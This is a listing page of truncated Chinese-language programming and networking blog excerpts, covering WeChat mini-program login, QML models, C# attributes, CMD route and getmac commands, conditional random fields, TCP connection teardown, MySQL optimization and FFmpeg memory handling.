文章目录 小程序端服务端注意事项 微信小程序&#xff0c;手机号授权登录需求。 大体流程是这样的&#xff1a; 小程序端使用 getPhoneNumber 向微信平台获取授权通过微信授权后&#xff0c;小程序端接收微信授权后的回调小程序携带微信的回调请求自己的服务端服务端请求微信获…

QML 模型和视图

模型/视图架构简介 使用 QML 时&#xff0c;有些情况下需要使用模型视图结构显示一些列表等控件&#xff0c;比较好的方式是用 Python 接管数据模型部分&#xff0c;方便处理数据&#xff1b;QML 和 JavaScript 负责前端部分&#xff0c;实现前端和后端的分离。 MVD 简介 Mo…

C# 特性(一)——什么是特性

目录 什么是特性 Serializable DllImport Obsolete Conditional Attribute类 自定义特性 AttributeUsage的使用例子 特性非常常见&#xff0c;官方解释为&#xff1a; 特性&#xff08;Attribute&#xff09;是用于在运行时传递程序中各种元素&#xff08;比如类、方法…

【批处理DOS-CMD命令-汇总和小结】上网和通信相关命令-查看路由表,查看网卡GUID UUID(route、getmac)

一、查看、编辑路由表&#xff08;route&#xff09; 首先我们看看route命令的帮助信息&#xff0c;可以发现这个命令其实就是用来查看路由表、以及添加&#xff08;或编辑、删除&#xff09;路由项目的。 路由项目是指操作系统对数据包的导向规则&#xff0c;往往包括目标IP…

《统计学习方法》——条件随机场#习题解答#

引言 这是统计学习方法第十一章条件随机场的阅读笔记&#xff0c;包含所有公式的详细推导。 条件随机场(conditional random field,CRF)是给定一组输入随机变量条件下另一组输出随机变量的条件概率分布模型&#xff0c;其特点是假设输出随机变量构成马尔可夫随机场。 建议先阅…

【计算机网络】为什么是TCP四次挥手,可以变成三次吗?

【计算机网络】为什么是TCP四次挥手&#xff0c;可以变成三次吗&#xff1f; 文章目录 【计算机网络】为什么是TCP四次挥手&#xff0c;可以变成三次吗&#xff1f;引言TCP 四次挥手为什么 TCP 挥手需要四次呢&#xff1f;粗暴关闭 vs 优雅关闭 什么情况会出现三次挥手&#xf…

MySQL—SQL优化详解(下)

♥️作者&#xff1a;小刘在C站 ♥️个人主页&#xff1a; 小刘主页 ♥️努力不一定有回报&#xff0c;但一定会有收获加油&#xff01;一起努力&#xff0c;共赴美好人生&#xff01; ♥️学习两年总结出的运维经验&#xff0c;以及思科模拟器全套网络实验教程。专栏&#xf…

FFmpeg 内存模型分析

标题 1. 内存模型图2. 分析流程3.追溯本源————源码分析3.1 AVPacket队列 什么时候生成的&#xff1f; 4 .AVPacket和AVFrame相关操作API5. av_read_frame源码分析 1. 内存模型图 2. 分析流程 我们解复用后,媒体流数据就会被分离开来,分别生成对应AVPacketList,然后通过av_…